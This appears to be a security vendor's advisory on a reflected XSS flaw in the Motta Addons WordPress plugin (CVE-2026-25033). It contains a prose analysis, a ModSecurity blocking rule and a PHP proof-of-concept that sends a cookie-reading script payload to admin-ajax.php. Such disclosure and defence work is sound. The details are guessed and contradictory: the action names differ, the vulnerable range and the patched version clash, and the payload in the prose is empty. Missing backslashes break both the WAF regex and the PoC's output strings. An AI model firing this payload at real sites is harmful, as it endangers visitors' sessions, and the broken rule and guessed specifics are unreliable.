Atomic Edge analysis of CVE-2026-25033 (metadata-based):
The Motta Addons plugin for WordPress versions up to 1.6.1 contains a reflected cross-site scripting (XSS) vulnerability. This flaw allows unauthenticated attackers to inject malicious scripts via insufficiently sanitized input parameters. The vulnerability resides in a public-facing component of the plugin, likely an AJAX handler or shortcode, that echoes user-supplied data without proper output escaping.
Atomic Edge research infers the root cause is improper neutralization of input during web page generation (CWE-79). The vulnerability description confirms insufficient input sanitization and output escaping. Without access to the source code diff, it is inferred that a plugin function receives user-controlled data from a GET or POST parameter, fails to sanitize it with functions like `sanitize_text_field`, and then directly outputs it via `echo` or `print` without using escaping functions like `esc_html` or `esc_js`.
Exploitation requires an attacker to craft a malicious URL containing a JavaScript payload in a vulnerable parameter. A victim must be tricked into clicking the link while authenticated to WordPress. The CVSS vector indicates user interaction is required (UI:R). A realistic attack vector is a WordPress AJAX endpoint accessible to unauthenticated users (`/wp-admin/admin-ajax.php`). The `action` parameter likely contains a hook like `motta_addons_action`, with a secondary parameter, such as `search` or `id`, containing the XSS payload: `
`.
Remediation requires implementing proper output escaping on all user-controlled data before it is printed to the browser. The patched version 1.6.1 likely added calls to WordPress escaping functions like `esc_html()` or `esc_js()` around the echoed variable. Input validation using `sanitize_text_field()` may also have been added as a secondary measure, but output escaping is the primary defense against XSS.
The impact of successful exploitation is medium severity. Attackers can execute arbitrary JavaScript in the victim’s browser session. This can lead to session hijacking (cookie theft), malicious redirects, or defacement within the context of the vulnerable page. The CVSS score of 6.1 reflects the scope change (S:C) and the compromise of confidentiality and integrity (C:L/I:L) at a low level.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25033 (metadata-based)
# This rule blocks exploitation of the reflected XSS vulnerability in the Motta Addons plugin.
# It targets the inferred AJAX endpoint and parameter with a pattern matching common XSS payloads.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625033,phase:2,deny,status:403,chain,msg:'CVE-2026-25033 via Motta Addons AJAX - Reflected XSS',severity:'CRITICAL',tag:'CVE-2026-25033',tag:'WordPress',tag:'Plugin/Motta-Addons',tag:'Attack/XSS'"
SecRule ARGS:action "@streq motta_addons_search" "chain"
SecRule ARGS:query "@rx (?i)<[^>]*s(onw+|style|href)s*="
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25033 - Motta Addons < 1.6.1 - Reflected Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2026-25033.
* This script demonstrates a reflected XSS attack against the Motta Addons plugin.
* ASSUMPTIONS: The vulnerability is in an unauthenticated AJAX endpoint.
* The vulnerable parameter is inferred to be 'query' based on common plugin patterns.
*/
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
// Craft the malicious payload. This triggers a JavaScript alert with the user's cookies.
$payload = urlencode('<img src=x onerror=alert(document.cookie)>');
// Construct the POST data. The 'action' parameter is inferred from the plugin slug.
// A common pattern is '{plugin_slug}_search' or '{plugin_slug}_get_data'.
$post_fields = [
'action' => 'motta_addons_search', // Inferred AJAX action hook
'query' => $payload // Injected into the vulnerable parameter
];
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results
if ($http_code == 200) {
echo "[+] Request sent successfully to $target_urln";
echo "[+] Payload: {$post_fields['query']}n";
echo "[+] If the plugin is vulnerable, the payload will execute when an admin visits: $target_url?action={$post_fields['action']}&query={$payload}n";
} else {
echo "[-] Request failed with HTTP code: $http_coden";
}
?>
